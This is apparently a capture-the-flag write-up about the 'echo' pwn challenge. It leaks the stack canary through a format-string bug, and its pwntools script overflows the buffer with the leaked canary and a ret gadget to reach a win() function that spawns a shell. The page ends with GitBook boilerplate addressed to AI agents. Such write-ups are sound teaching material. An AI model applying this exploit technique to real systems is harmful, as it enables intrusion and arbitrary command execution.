> For the complete documentation index, see [llms.txt](https://zwique.gitbook.io/zwique_notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zwique.gitbook.io/zwique_notes/writeups/random-ctf-writeup/local/echo-ret2win.md).

# Echo (ret2win)

## Problem

Welcome to my first write-up for a pwn challenge. I hope you find it enjoyable!

{% file src="/files/IEjiYswHTJ3Wk4FKS8pz" %}

## Function Analysis with Ghidra

`Main` Function

```c
undefined8 main(void)
{
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;

  local_10 = (long)(in_FS_OFFSET + 0x28);
  puts("Welcome to the echo program!");
  puts("Enter some text: ");
  FUN_004010e0(local_58);
  printf(local_58);
  puts("");
  puts("Do you have any reviews?");
  FUN_004010e0(local_58);
  puts("Thanks for using the echo program!");
  if (local_10 != (long)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

`Win` Function

```c
void win(void)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = (long)(in_FS_OFFSET + 0x28);
  system("/bin/sh");
  if (lVar1 != (long)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

## Security Protections (checksec)

<figure><img src="/files/BoZ37agyxIrGOUQNv2Vo" alt=""><figcaption></figcaption></figure>

### Observations

* Buffer size = 72 bytes (`char local_58[72]`)
* Stack canary is in use → we **cannot** overwrite the return address directly without bypassing the canary.
* First input is used in `printf(local_58);` → this is a **format string vulnerability**
* Second input is again written to the same buffer

### Exploitation Plan

We **can't overflow** due to the stack canary. But we **can leak** the canary via the format string vulnerability!

**Step 1: Leak Stack Canary**

Use the first input to leak stack values:

<figure><img src="/files/78L3k1dtjTycrbw1ubJP" alt=""><figcaption></figcaption></figure>

You'll see a value like `0xxxxxxxxxxxxxxx00` — that’s likely the stack canary. It often starts with `0x00` or ends with double zeros due to how it's structured for detection of overflows. In our case, the canary is `0x29ddc79a305ac100`&#x20;

> Next, let's calculate the offset of the canary. You can simply count the format string arguments starting from `0x1` until you reach the canary value (e.g., `0x29ddc79a305ac100`), separating each with a dot (`.`) for easier identification. Finally, I have found out that the offset of canary is `35`

**Step 2: Build Payload**

To craft our exploit, we need to understand the exact layout of the stack and construct the payload accordingly:

* **Buffer:** 72 bytes — fills up to the canary
* **Canary:** 8 bytes — must be preserved exactly
* **Saved RBP:** 8 bytes — can be any value
* **Return address (ret):** 8 bytes — address of a `ret` instruction for stack alignment
* **RIP:** 8 bytes — overwrite this with the address of the `win()` function

**Note:**

* The return address used after the canary must **land correctly** on a `ret` instruction before jumping to `win()` to maintain stack alignment (especially important on some systems with `libc` protection like `__libc_csu_init`).
* It's better to return into the `win()` function, which ends with a `ret`, rather than trying to return cleanly back to `main()` or using `return 0`, as the goal is to hijack execution — not exit gracefully.

**The included screenshots** show how the necessary addresses were found using `Ghidra`, including:

* Address of the `win()` function
* Address of a `ret` instruction (if needed for alignment)

<div align="right"><figure><img src="/files/8m5zMlEQJFGtoWQJd0ep" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/9KZE0CqSvZYDJkvn2wDQ" alt="" width="375"><figcaption></figcaption></figure></div>

#### Step 3: Exploit Script

```python
from pwn import *

context.binary = elf = ELF("./echo")
p = remote("139.162.5.230", 10323)

# Step 1: Leak stack canary
p.recvuntil(b"Enter some text: \n")
p.sendline(b'%35$p')  # Leak the canary at the 35th argument (adjust if needed)
canary = int(p.recvline().strip(), 16)
log.info(f'Canary: {hex(canary)}')

# Step 2: Build payload
overwrite = b'A' * 72  # Buffer size before canary
payload = overwrite
payload += p64(canary)  # Add leaked canary to bypass stack protection
payload += b'A' * 8     # Overwrite saved RBP (usually 8 bytes)
ret = p64(0x0000000000401289)  # ret gadget for stack alignment (avoid movaps error)
win = p64(0x0000000000401244)  # win function address

payload += ret
payload += win

# Step 3: Send payload after prompt
p.recvuntil(b"?\n")
p.sendline(payload)

# Step 4: Get interactive shell / output
p.interactive()

```

#### Exploit Success

Once the `win()` function is executed, it calls `system("/bin/sh")`, giving you a shell.

<figure><img src="/files/3HbOzdTo0NnvHHhbV8tp" alt="" width="362"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zwique.gitbook.io/zwique_notes/writeups/random-ctf-writeup/local/echo-ret2win.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
